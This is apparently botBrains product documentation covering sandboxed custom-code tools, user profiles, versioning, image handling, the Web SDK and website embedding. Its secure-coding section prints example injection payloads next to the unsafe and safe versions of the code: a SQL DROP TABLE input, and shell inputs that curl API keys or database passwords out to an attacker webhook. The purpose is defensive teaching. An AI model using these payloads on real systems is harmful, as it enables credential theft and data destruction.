def handle(fields): api_key = os.environ["API_KEY"] db_url = os.environ["DATABASE_URL"] ``` ```bash Shell theme={null} # Secrets are available as environment variables echo "Using API key: ${API_KEY:0:4}..." curl -H "Authorization: Bearer $API_KEY" \ "https://api.example.com/data" > $OUTPUT ``` Never `print()` or return secret values they would appear in logs visible to users reviewing conversation history. ## Security > "With great power comes great responsibility." Unitools give you the ability to execute arbitrary code that connects to your databases, APIs, and external services. Security is a **shared responsibility** between botBrains and you. ### What botBrains ensures We provide infrastructure-level isolation to protect you and other customers. Your code runs in a dedicated sandbox that can't access other customers' environments or data. Every execution starts with a fresh VM-no state, files, or processes persist between runs. The sandbox has no access to botBrains internal systems or cloud metadata endpoints; your code can only reach the public internet. botBrains reserves the right to suspend Unitool access at any time without prior notice, particularly if abuse is suspected. ### Your responsibilities You are responsible for the security of the code you write. Common risks include: | Risk | Description | | ---------------------------- | ------------------------------------------------------------ | | Leaking secrets | Printing or returning credentials by mistake | | Injection attacks | Allowing user input to execute unintended commands | | Overloading external systems | Hammering APIs or databases without rate limiting | | Exploiting your own systems | Insecure code could let attackers pivot through your Unitool | ### Writing secure code The isolated sandbox protects botBrains and other customers-but injection vulnerabilities in your code put **your own systems** at risk. Attackers could steal your credentials, exfiltrate data from your databases, or escalate privileges on your external systems. **Secret leaks.** Never log or return sensitive values: ```python Python theme={null} import os def handle(fields): api_key = os.environ["API_KEY"] # Bad - secret ends up in logs print(f"Using key: {api_key}") # Bad - secret ends up in result return {"key": api_key, "data": ...} # Good - only return non-sensitive data return {"data": ...} ``` ```bash Shell theme={null} # Bad - secret ends up in logs echo "API key is: $API_KEY" # Good - only show partial for debugging echo "Using key: ${API_KEY:0:4}..." ``` **SQL injection.** When you interpolate user input directly into SQL queries, attackers can execute arbitrary database commands. A malicious `order_id` like `'; DROP TABLE orders; --` could delete your data. ```python Python theme={null} from sqlalchemy import text # Safe - parameterized query result = conn.execute( text("SELECT * FROM orders WHERE id = :id"), {"id": fields["order_id"]} ) # Unsafe - never do this result = conn.execute(f"SELECT * FROM orders WHERE id = '{fields['order_id']}'") ``` ```bash Shell theme={null} # Safe - psql variable with :'var' syntax order_id=$(field '.order_id') psql "$DATABASE_URL" -v order_id="$order_id" -t -A -c \ "SELECT * FROM orders WHERE id = :'order_id'" # Unsafe - never do this psql "$DATABASE_URL" -c "SELECT * FROM orders WHERE id = '$order_id'" ``` Prefer Python for database operations. Its parameterized queries are more robust and harder to misuse than shell alternatives. **Shell injection.** When you pass user input to shell commands without proper escaping, attackers can execute arbitrary commands. A malicious input like `"; curl -X POST -d "$API_KEY" https://webhook.site/attacker-id #` could exfiltrate your secrets to an attacker-controlled server. ```bash theme={null} # Safe - use jq to handle JSON safely message=$(field '.message') jq -n --arg msg "$message" '{"text": $msg}' | curl -s -X POST -d @- "$WEBHOOK_URL" # Unsafe - direct interpolation allows secret theft curl -s -X POST -d "{\"text\": \"$message\"}" "$WEBHOOK_URL" ``` **URL injection.** When you place user input directly in URLs, attackers can manipulate the request destination or parameters. A malicious input like `x]"; curl -d "$DB_PASSWORD" https://webhook.site/attacker-id #` could steal credentials. ```bash theme={null} # Safe - URL-encode user input user_input=$(field '.query') encoded=$(printf '%s' "$user_input" | jq -sRr @uri) curl -s "https://api.example.com/search?q=$encoded" # Unsafe - direct interpolation allows secret theft curl -s "https://api.example.com/search?q=$user_input" ``` ### Prohibited activities botBrains may suspend your access at any time. The following activities will get you suspended. | Activity | Description | | ------------------------- | ----------------------------------------------------------------- | | Load testing | Don't stress test, benchmark, or overload third-party services | | Spam / bulk messaging | Don't send unsolicited emails, SMS, or other messages | | cryptomining | Don't use compute resources for mining cryptocurrency | | Attacking systems | Don't probe, scan, or exploit vulnerabilities in external systems | | Circumventing rate limits | Don't bypass rate limiting on third-party APIs | | Hosting malware | Don't distribute or execute malicious code | ## Templates & Use Cases Unitool Templates page showing categorized starter templates for API, Database, and 101 Guides with Explore links > Starting from a draft is much easier than from a blank piece of paper. [Templates](https://platform.botbrains.io/~/unitools/templates) are drafts of common use cases that you can customize as needed. You can also use AI-suggested Unitools to create and edit existing Unitools faster. The AI does not have access to your secrets when editing Unitools that have secrets defined. ### Database lookup Query your PostgreSQL, MySQL, MongoDB, or redis databases: ```python Python theme={null} from sqlalchemy import create_engine, text import os def handle(fields): engine = create_engine(os.environ["DATABASE_URL"]) with engine.connect() as conn: result = conn.execute( text("SELECT * FROM orders WHERE id = :id"), {"id": fields["order_id"]} ) rows = [dict(row._mapping) for row in result] return {"orders": rows, "count": len(rows)} ``` ```bash Shell theme={null} # Query using psql with parameterized variable order_id=$(field '.order_id') psql "$DATABASE_URL" -v order_id="$order_id" -t -A -c \ "SELECT row_to_json(o) FROM orders o WHERE id = :'order_id'" > $OUTPUT ``` ### API integration Call external APIs and return processed data: ```python Python theme={null} import requests import os def handle(fields): response = requests.get( f"https://api.example.com/users/{fields['user_id']}", headers={"Authorization": f"Bearer {os.environ['API_KEY']}"} ) response.raise_for_status() return response.json() ``` ```bash Shell theme={null} user_id=$(field '.user_id') # URL-encode the parameter encoded_id=$(printf '%s' "$user_id" | jq -sRr @uri) curl -s -H "Authorization: Bearer $API_KEY" \ "https://api.example.com/users/$encoded_id" > $OUTPUT ``` ### Webhook trigger Send data to automation platforms like n8n or Zapier: ```python Python theme={null} import requests import os def handle(fields): response = requests.post( os.environ["WEBHOOK_URL"], json={"event": "order_created", "data": fields} ) return {"triggered": response.ok} ``` ```bash Shell theme={null} # Use jq to safely construct JSON jq -n --argjson data "$(cat $INPUT)" \ '{"event": "order_created", "data": $data}' | \ curl -s -X POST "$WEBHOOK_URL" \ -H "Content-Type: application/json" \ -d @- > $OUTPUT ``` ### Web scraping Extract real-time data from websites: ```python Python theme={null} import requests from bs4 import BeautifulSoup def handle(fields): response = requests.get(fields["url"]) soup = BeautifulSoup(response.text, "html.parser") # Extract specific elements title = soup.select_one("h1").get_text(strip=True) return {"title": title} ``` ```bash Shell theme={null} url=$(field '.url') # Validate URL format before fetching if [[ ! "$url" =~ ^https?:// ]]; then echo '{"error": "Invalid URL format"}' > $OUTPUT exit 0 fi curl -s --max-time 10 "$url" | grep -oP '(?<=

).*(?=

)' | head -1 > $OUTPUT ``` ## Best practices * **Keep it focused**\ Each Unitool should do one thing well. Create separate Unitools for different operations rather than one complex script. * **Handle errors well** Return meaningful error messages the AI agent can relay to users: ```python Python theme={null} def handle(fields): if not fields.get("order_id"): return {"error": "Order ID is required"} order = lookup_order(fields["order_id"]) if not order: return {"error": f"Order {fields['order_id']} not found"} return {"order": order} ``` ```bash Shell theme={null} order_id=$(field '.order_id') if [ -z "$order_id" ]; then echo '{"error": "Order ID is required"}' > $OUTPUT exit 0 fi # Continue with lookup... ``` * **Minimize latency**\ Users are waiting. Avoid installing packages at runtime, keep API calls efficient, and use connection pooling for databases. * **Limit output size**\ The system truncates results over 200 KB. Return only the data the AI agent needs, not entire database tables. # Users Source: https://docs.botbrains.io/concepts/users Track and manage end users across customer support conversations Users represent the people who interact with your AI agent. botBrains tracks each person across channels and over time, building profiles that enable personalized support and customer insights. ## How botBrains Tracks Users botBrains automatically creates user records as people interact with your AI. ### Identification You can identify users by email address, phone number, or an external ID from your own systems (CRM, auth, databases). botBrains tracks anonymous users by device and session until they identify themselves. botBrains tracks whether the owner has verified (signed) their email address or phone number, giving you higher confidence for security-sensitive operations. ### Attributes | Attribute | Description | | ------------------- | --------------------------------------------------------------------------------- | | Name | First and last name | | Email / Phone | Contact info with verification status | | Timezone | Detected from device or explicitly set | | Languages | Preferred communication languages | | Last Seen | Timestamp of most recent interaction | | External Attributes | Custom key-value data from your systems (subscription tier, account status, etc.) | Pass external attributes through the API or integrations to enrich profiles with business data like subscription level, account status, or purchase history. ```json User Profile Example theme={null} { "id": "usr_abc123", "first_name": "Sarah", "last_name": "Chen", "email": "sarah.chen@example.com", "email_signed": true, "phone": "+14155551234", "phone_signed": false, "external_id": "cust_789xyz", "timezone": "America/Los_Angeles", "locales": ["en-US", "zh-CN"], "last_seen_at": "2025-11-29T18:45:00Z", "external_attributes": { "subscription_tier": "enterprise", "account_status": "active", "signup_date": "2023-06-15" } } ``` User profile detail view showing contact information, attributes, and conversation history ## Managing Users **Search and filter.** Search across names, emails, phone numbers, and external IDs. Filter by [labels](/concepts/labels) or restrict to identifiable users only. Users list page with search bar, filter options for labels, and a table of users with names, emails, and last seen timestamps **Edit profiles.** Update user information directly in the UI or sync data programmatically through the API. **Label users.** Apply labels like `vip-customer` or `enterprise-user` to organize users for filtering in analytics, exports, and [audience](/concepts/audiences) targeting. **View conversations.** Each profile shows the user's complete conversation history with full message content and timestamps. **Export.** Filter to the segment you need and export as CSV or JSON for compliance, CRM sync, or analysis in other tools. The UI blurs personal information (emails, external IDs) by default and reveals it on hover, preventing accidental exposure in screenshots or screen shares. ## Next Steps * [Audiences](/concepts/audiences) - Segment users for targeted experiences * [Conversations](/concepts/conversations) - Analyze user interactions * [Labels](/concepts/labels) - Organize users and conversations * [Data Export](/concepts/data-export) - Export user data for analysis # Versioning Source: https://docs.botbrains.io/concepts/versioning Manage AI versions and deploy changes with confidence Versioning makes your trained AI available to users. Each version is an immutable snapshot of your AI's complete configuration at a point in time, including guidance, tools, and knowledge. You can continue editing while users interact with a stable, deployed version. ## Core Concepts ### Profiles A profile is your AI's current working configuration: guidance instructions, tool settings, LLM parameters, and audience rules. You edit profiles at any time, then "build" to save everything into a new version. ### Versions Versions are sequentially numbered snapshots (#1, #2, #3). Each captures the full profile configuration plus a knowledge snapshot of all data provider sources at build time. Versions are **immutable**. Once built, they never change. ### Aliases An alias is a named pointer to a specific version. The **Production** alias represents what users see. All channels connect to aliases, not directly to versions. When you update an alias from version #12 to #13, every channel switches immediately. ```mermaid theme={null} graph LR W[Website Widget] --> PA[Production Alias] Z[Zendesk] --> PA SF[Salesforce] --> PA SL[Slack] --> PA PA --> V5["Version #5 (active)"] style PA fill:#fff4e6 style V5 fill:#e8f5e9 ``` ## Building and Deploying 1. **Edit** your profile: update guidance, add knowledge, enable tools 2. **Test** using the preview in **Behavior → Guidance**, or run [test suites](/guides/testing) 3. **Build** via **Behavior → \[Review your changes]** Build options: | Option | Effect | | ----------------------------- | ----------------------------------------------------------------------------------------- | | **Build Version, Set Active** | Creates version and deploys to all channels immediately | | **Build Version** | Creates version without deploying. Set active later via **Behavior → General → Versions** | Build time is typically 30–60 seconds. Build version dialog showing the two deployment options: Build Version Set Active and Build Version "Build Version, Set Active" deploys to **all** connected channels immediately. Test thoroughly before using this for significant changes. ## Rolling Back If a deployment causes issues, roll back by setting a previous version as active: 1. Go to **Behavior → General → Versions** 2. Click **⋮** next to the previous good version 3. Select **Set as Active** All channels revert immediately. The problematic version remains in your history for review. Versions management interface showing version history with menu buttons to set as active or view details ## Knowledge Snapshots Each version freezes your knowledge sources at build time. When data providers sync new content, you see an orange indicator prompting you to rebuild. Schedule regular builds (weekly, monthly) based on how often your content changes. Orange update indicator on the Behavior tab showing that knowledge sources have been updated since the last build Knowledge updates don't reach users until you build a new version. If your data providers sync frequently, rebuild regularly to keep the AI current. # Vision Source: https://docs.botbrains.io/concepts/vision Enable your AI to understand and analyze images from customers Vision lets your AI agent see and understand images that customers share during conversations. When someone sends a screenshot, product photo, or error message, the AI analyzes the content and responds with context-aware assistance. ## How It Works When a customer uploads an image, the AI extracts text (error codes, labels, serial numbers), recognizes objects and UI elements, and combines this visual context with conversation history and your knowledge base to respond. ## Supported Formats | Format | Extensions | | --------- | ------------ | | JPEG | .jpg, .jpeg | | PNG | .png | | WebP | .webp | | HEIC/HEIF | .heic, .heif | | GIF | .gif | ## Enabling Vision Enable image upload per [frame](/concepts/frames): 1. Open your frame configuration 2. Go to **General Settings** 3. Toggle **Allow Image Upload** 4. Save Frame General Settings panel with Allow Image Upload toggle enabled Add [guidance](/concepts/guidance) to instruct your AI on how to handle specific image types (product defects, error screenshots, receipts). ## Safety * The system scans all uploads for malware before processing * The system reports suspected CSAM to German authorities (LKA NRW) per German law * The system encrypts images at rest and transmits them over HTTPS # Web SDK Source: https://docs.botbrains.io/concepts/web-sdk Control the website chat widget programmatically with JavaScript If you would like to see any of the Roadmap features, something else or have feedback on the existing API, reach out to [liam@botbrains.io](mailto:liam@botbrains.io). The Web SDK allows you to control the launcher bubble from the global JavaScript object `$botbrains`. The SDK ships by default and we will expand the API based on user needs. See Roadmap. Chat launcher bubble in the bottom-right corner of a website ## Prerequisite The SDK is **NOT** supported if you use the deprecated iFrame integration. Use the launcher and benefit from all new features. The SDK will assume you run the code via the launcher integration. ```html theme={null} ``` ## Use Cases ### Hide Launcher on specific pages ```javascript theme={null} // Check if the current page matches a specific URL if (window.location.pathname === "/specific-page") { $botbrains.push(["do", "chat.hide"]); } ``` ### Hide Launcher on small devices ```javascript theme={null} // Check the screen width and hide the launcher if the width is below a threshold (e.g., 600px) if (window.innerWidth < 600) { $botbrains.push(["do", "chat.hide"]); } ``` ### Integrated Product Help - Buttons ```html theme={null} ``` ### Annotate User Data ```javascript theme={null} const data = { first_name: "Liam", last_name: "van der Viven", email: "liam@botbrains.io", phone: "+4915168433056", external_attributes: { "plan": "business", } }; $botbrains.push(["set", "user.data", data]); ``` ### Identify Users We also support **identifying users** against our system. Please talk to [liam@botbrains.io](mailto:liam@botbrains.io) for get an introduction. ### Change the suggestions ```javascript theme={null} if (window.location.pathname === "/product-abc") $botbrains.push(["set", "chat.suggestions", ["What ROI did customers see with ABC?", "Does ABC have regional hosting?", "Can I get a demo of ABC?"]]) ``` ## Docs You can then use the `$botbrains` object via `.push` immediately below adding our script. `.push` allows you to call `.do` `.set` `.on` and `.off` without errors. If you need `.is` or `.on`, store a callback in `window.BOTBRAINS_ON_LOADED`. * `.is` to branch your code based on our state * `.do` to trigger actions, don't return values * `.set` to modify state, annotate users and more * `.on` and `.off` for registering/unregistering callbacks * `.get` returns a Promise On a page that has botBrains loaded, you can open the Developer Console and use `$botbrains.help()` to see all command names. ## Commands do-Commands are by default async and don't return anything. This allows you to call them at any point, even before the SDK is ready. ```javascript theme={null} // Handle Visibility of complete system $botbrains.push(["do", "chat.show"]); $botbrains.push(["do", "chat.hide"]); // Expand Chat $botbrains.push(["do", "chat.open"]); $botbrains.push(["do", "chat.close"]); $botbrains.push(["do", "chat.toggle"]); // Change Position $botbrains.push(["set", "chat.side", "left"]); // or 'right' $botbrains.push(["set", "chat.marginSide", "20px"]); // or '10rem' or '10vw' or ... $botbrains.push(["set", "chat.marginBottom", "20px"]); // ... // Only if Previews are enabled, you can manually control them $botbrains.push(["set", "preview.show"]) $botbrains.push(["set", "preview.hide"]) // Setting custom message tags $botbrains.push(["set", "message.tags", [["Name", "Value"]]]); // Prefill the message box $botbrains.push(["set", "message.text", "Hi, how does product XY work?"]); // Send the current message box $botbrains.push(["do", "message.send"]); // Combined: Prefill and send question immediately $botbrains.push(["do", "message.send", "Hi, how does product XY work?"]); ``` Expanded chat widget showing conversation messages and input box ## Conditionals ```javascript theme={null} // Check if the other commands are available $botbrains.is("chat.ready"); $botbrains.is("chat.visible"); $botbrains.is("chat.opened"); $botbrains.is("preview.visible"); ``` ### Personalization - Theme and Localization By default, we will automatch user preferences and choose the most fitting value. You can manually control them. ```javascript theme={null} // Theme - defaults to user preference; values are "light"|"dark"|"auto" $botbrains.push(["set", "config.theme", "dark"]); // Locale - defaults to user preference; Values must be in BCP 47 'de' or 'de-CH' $botbrains.push(["set", "config.locale", "de-CH"]); ``` ## Events ```javascript theme={null} // You can register and unregister functions with the same identity to run on a event. // Callbacks take a single payload argument. $botbrains.push(["on", event, callback]); $botbrains.push(["off", event, callback]); // Example $botbrains.push(["on", "config.loaded", (config) => console.log(config)]); ``` Currently supported events are: * `chat.ready` * `frame.loaded` * `chat.opened` * `chat.closed` * `message.sent` ### message.sent Fires whenever the user sends a message. Use it to track conversations in your own analytics or trigger actions on your page. ```javascript theme={null} $botbrains.push(["on", "message.sent", (event) => { console.log("User sent:", event.text); console.log("Conversation ID:", event.conversationId); }]); ``` | Field | Type | Description | | ---------------- | ---------------- | ----------------------------------------- | | `text` | `string` | The message the user typed or selected | | `conversationId` | `string \| null` | Current conversation ID, or `null` if new | | `attachments` | `FileData[]` | Any attached files | | `isSuggestion` | `boolean` | Whether the user clicked a suggestion | ## Users ### Data You can annotate user data and additional arbitrary JSON under `external_attributes` up to 8 KB. ```javascript theme={null} $botbrains.push(["set", "user.data", { first_name: "Liam", last_name: "van der Viven", email: "liam@botbrains.io", phone: "+4915168433056", external_attributes: { plan: "business", joined_on: "2024-04-09" } }]); ``` ### Identify You can also identify users, which enables **cross device session** continuity by setting an `external_id`. Be careful, you may only set `external_id` once. Two users with the same `external_id` will be able to read messages of the other user. Please check your implementation by reading our **[Complete Guide to Users](/concepts/users)** or talking to [ben@botbrains.io](mailto:ben@botbrains.io). ```javascript theme={null} $botbrains.push(["do", "user.identify", ["user_58066af9-eae5-4315-99e7-967993f43c07", { first_name: "Liam", // ... properties that are also supported by user.data }]]); ``` ## Debugging If you have issues, enable verbose logs with `window.BOTBRAINS_DEBUG = true` or `?botbrainsDebug=true` in the URL. ## Roadmap There are many ways we could expand the API to control more parts of the Chat. * [ ] Support Attachments ``` set message.file ["Myfile.pdf", "application/pdf", "Some text content or an ArrayBuffer from FileReader().result"] ``` Missing something? Let us know what you would like to see, [support@botbrains.io](mailto:support@botbrains.io). ## Frequently Asked Questions Coming soon. # Website Integration Source: https://docs.botbrains.io/concepts/website-integration Integrate the botBrains AI agent into your website Add an AI-powered chat to your website to provide instant customer support 24/7. The botBrains integration is customizable, lightweight, and easy to install - giving your visitors immediate access to answers without leaving your site. ## Value Proposition The website chat integration transforms your customer experience: * **Instant Answers**: Customers get immediate responses without waiting for email support or business hours * **Reduced Bounce Rates**: Visitors find answers in real-time instead of leaving to search elsewhere * **Lead Capture**: Engage prospects at the moment of interest with intelligent conversation * **Seamless Integration**: Works with your existing website without complex setup or code changes * **Brand Consistency**: Customize appearance to match your brand identity ## Prerequisites Before integrating, you'll need: * A botBrains project with configured AI behavior and knowledge sources * A published frame (chat interface design) * Access to edit your website's HTML * Basic familiarity with adding code snippets to your website ## Integration Modes botBrains offers three integration modes to fit different use cases. Choose the right mode based on your use case and page layout. ### Decision Matrix | Mode | Best For | When to Use | When to Avoid | | -------------------------- | --------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | | **Launcher** (Recommended) | General website integration | • Multi-page support across entire site
• Non-intrusive engagement
• Standard support widget
• Mobile-responsive sites | • Pages where floating elements conflict
• Full-page applications | | **Inline** | Dedicated support pages | • FAQ pages
• Contact/support pages
• Application sidebars
• Replacing traditional contact forms
• Full control over placement and size | • General site-wide integration
• When you want floating/minimizable chat | | **iframe** (Deprecated) | Legacy compatibility only | • Only if technical constraints prevent launcher/inline
• Third-party embeds with strict isolation | • New integrations (use launcher or inline instead)
• When you need Web SDK features
• Mobile-optimized experiences | ### Mode Details **Launcher Mode (Recommended)** * Floating chat button in corner of page * Minimizes to button when not in use * Works across all pages with single embed * Automatically responsive on mobile * Supports all Web SDK features **Inline Mode** * Embeds directly into page content * Always visible (no minimize) * You control height/width via CSS * Ideal for dedicated support sections * Supports all Web SDK features **iframe Mode (Deprecated)** * Full-page iframe embed * Limited Web SDK support * Not recommended for new integrations * Use launcher or inline instead You cannot use both launcher and inline modes on the same page. Choose one per page, though you can use different modes on different pages of your site. ## Get Your Embed Code 1. Navigate to **Channels** in your botBrains project 2. Click on **Web** integration 3. Select your desired mode (Launcher, Inline, or iframe) 4. Configure options as needed 5. Copy the generated code snippet botBrains Channels page showing Web integration with embed code selection for Launcher, Inline, or iframe modes ## Launcher Mode Integration ### Basic Setup Add this code snippet as early as possible in your HTML, ideally in the `` section. This ensures `$botbrains` is available immediately: ```html theme={null} ``` Replace `your-frame-id` with your actual frame ID from the platform. ### Configuration Options You can customize the launcher behavior by adding options to the config object: ```html theme={null} ``` #### Available Configuration Options | Option | Type | Default | Description | | ------------------------------- | ------- | ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | `frameId` | string | *required* | Your frame ID from botBrains | | `previewDelayMs` | number | `3000` | Time in milliseconds to delay showing message previews (default 3 seconds) | | `cookieDomain` | string | autodetected | Domain for session cookies. Leave empty for automatic top-level domain detection (for example, `.example.com` shares sessions across all subdomains) | | `sessionRefreshLifetime` | number | `268320` | Session lifetime in minutes (default: 6 months) | | `whatsappId` | string | - | WhatsApp integration ID issued by botBrains team | | `experimentalListConversations` | boolean | `false` | Enable experimental UI for viewing and continuing multiple conversations | The `previewDelayMs` option only controls the delay before showing previews. To disable previews entirely, configure this in the Frame settings under the Appearance tab. The `cookieDomain` option affects how user sessions are shared across your domain. By default, sessions are shared across all subdomains (for example, [www.example.com](http://www.example.com), app.example.com). Only set this explicitly if you need to limit session sharing to a specific subdomain. ## Inline Mode Integration ### Basic Setup Inline mode requires two code snippets - one for the script and one for the container element. #### Step 1: Add the Script Add this as early as possible in your HTML, ideally in the `` section: ```html theme={null} ``` #### Step 2: Add the Container Place this `div` element where you want the chat to appear: ```html theme={null}
``` You control the height and width of the chat through the container's CSS. **Important**: You must choose either launcher mode or inline mode per page. Using both on the same page is not supported. However, you can use different modes on different pages of your website. ### Configuration Options Inline mode supports the same configuration options as launcher mode, plus: | Option | Type | Default | Description | | ---------- | ------ | -------------------------- | -------------------------------------------------------------------------------------------------- | | `mode` | string | `"inline"` | Set this to `"inline"` for inline mode | | `selector` | string | `"#botbrains-inline-chat"` | CSS selector where the loader renders the chat (must be a valid `document.querySelector()` target) | All other options (`previewDelayMs`, `cookieDomain`, `sessionRefreshLifetime`, `whatsappId`, `experimentalListConversations`) work the same as in launcher mode. ## iframe Mode Integration (Deprecated) **Deprecated**: iframe mode provides limited functionality and does not support the Web SDK. Use launcher or inline mode instead for the best experience. If you need to use iframe mode for legacy compatibility: ```html theme={null}